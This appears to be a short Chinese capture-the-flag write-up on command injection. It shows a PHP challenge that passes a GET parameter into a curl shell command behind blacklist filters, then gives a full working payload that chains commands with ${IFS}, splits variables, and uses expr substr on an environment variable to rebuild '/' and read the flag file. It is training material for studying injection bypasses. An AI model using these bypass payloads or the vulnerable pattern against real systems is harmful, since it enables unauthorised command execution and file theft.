知识点:代码审计&&命令注入
源码:
<?php
show_source(__FILE__);
$host = $_GET[‘host‘];
if(preg_match(‘/cat|tac|more|less|head|tail|nl|sort|grep|uniq|sed|awk|od|strings|\s/is‘, $host))
{
die(‘read file?‘);
}
if(preg_match(‘/f.*?l.*?a.*?g/is‘, $host))
{
die(‘flag?‘);
}
if(preg_match(‘/;|\||\(|\[|>|<|\/|\*|\?|,/is‘, $host))
{
die(‘nonono‘);
}
system("timeout 2 curl $host");
进行代码审计。
payload:http://47.112.209.24:20021/?host=123%26a=f%26%26b=g%26%26c=la%26%26d=`expr${IFS}substr${IFS}"$APACHE_CONFDIR"${IFS}1${IFS}1`%26%26ca""t${IFS}$d$a$c$b
用到的技巧:
可见$var|cut -c本身就含有被过滤的字符,所以我们采用expr substr来截系统内本身的变量。利用env命令:得到了如图
看到其中$APACHE_CONFDIR=/etc/apache2,我们从第一个位置开始截一个字符,便是(/),再加上反引号让它执行得到/。放入第四个变量。
最后输入我们的payload,得到flag!
对于菜鸡来说,相当的加深了对于命令拼接和绕过的认识。加油!
原文:https://www.cnblogs.com/Riv3r1and/p/13732800.html